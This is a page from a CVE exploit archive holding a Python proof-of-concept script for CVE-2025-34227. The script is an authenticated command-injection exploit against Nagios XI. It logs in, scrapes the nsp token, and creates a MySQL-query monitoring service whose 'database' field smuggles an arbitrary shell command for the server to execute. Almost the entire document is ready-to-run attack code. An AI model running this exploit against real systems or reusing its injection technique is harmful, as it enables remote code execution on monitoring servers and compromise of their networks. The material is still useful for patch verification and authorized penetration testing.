4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-34227.py PY
import requests
import sys
import re

## Usage
# $ python3 monitoringservice-command-injection.py <target-url> <username> <password> <command>

## Example
# $ python3 monitoringservice-command-injection.py http://192.168.122.9/nagiosxi nagiosadmin password123 'touch /tmp/rceproof'
# [+] Service was added. Watch http://192.168.122.9/nagiosxi/includes/components/xicore/status.php?show=services for the service to appear.
# [*] Make sure to delete the "command injection service" service in the dashboard..

## Set input data
url = sys.argv[1] ## Ex: http://192.168.1.123/nagiosxi/
username = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4]

## Define some constants for use the in the payload/URL
SERVICE_NAME = 'command injection service'
INTERVAL = 1

LOGIN_ENDPOINT = "/login.php"
CONFIGWIZARD_ENDPOINT = "/config/monitoringwizard.php"


def get_nsp_str(text):
    
    nsp_match = re.search(r'var\snsp_str\s=\s"([a-f0-9]+)"', text)
    if nsp_match:
        return nsp_match.group(1)


## Start HTTP session/exploitation requests
with requests.Session() as s:
    s.verify = False

    ## Proxies for Burp. Uncomment if you want to use a proxy
    s.proxies.update(dict.fromkeys(['http','https'],'http://127.0.0.1:8080'))

    ## Login section
    login_url = f"{url}{LOGIN_ENDPOINT}"
    nsp = None
    login_info_req = s.get(login_url)
    
    login_nsp = get_nsp_str(login_info_req.text)
    
    if not login_nsp:
        print("Failed to grab nsp for login")
        exit()
    
    ### Build login request
    login_data = {
        "nsp": login_nsp,
        "page": "auth",
        "pageopt": "login",
        "username": username,
        "password": password,
        "loginButton": ""
    }

    login_req = s.post(login_url, data=login_data)

    ### Confirm redirect to the `index.php` page
    if 'index.php' not in login_req.url:
        print("[-] Invalid credentials")
        exit()

    ### get fresh nsp for config wizard
    configwizard_req = s.get(f"{url}{CONFIGWIZARD_ENDPOINT}")
    configwizard_nsp = get_nsp_str(configwizard_req.text)
    

    ### Configuration for mysql query payload with command injection
    configwizard_servicecreate_payload = {
        "update": 1,
        "nsp": configwizard_nsp,
        "step": 3,
        "nextstep": 5,
        "wizard": "mysqlquery",
        "tpl": '',
        "hostname": "localhost",
        "operation": '',
        "selectedhostconfig": '',
        "services_serial": '',
        "serviceargs_serial": '',
        "config_serial": '',
        "ip_address": "127.0.0.1",
        "port": 3306,
        "username": "test",
        "password": "test",
        "database": f"information_schema;{command};",
        "hostname": "localhost",
        "password": "test",
        "queryname": SERVICE_NAME,
        "query": "SELECT 1",
        "warning": 50,
        "check_interval": INTERVAL,
        "retry_interval": INTERVAL,
        "critical": 200,
        "finishButton": ''
    }

    ### Add service for malicious mysql query

    configwizard_addservice_req = s.post(f"{url}{CONFIGWIZARD_ENDPOINT}", data=configwizard_servicecreate_payload)

    ### Some cursory checks to make sure the servie added. 
    if configwizard_addservice_req.ok and SERVICE_NAME in configwizard_addservice_req.text:
            print(f"[+] Service was added. Watch {url}/includes/components/xicore/status.php?show=services for the service to appear.")
            print(f"[*] Make sure to delete the \"{SERVICE_NAME}\" service in the dashboard.")
    else:
        print("[-] Something failed adding the service")
        exit()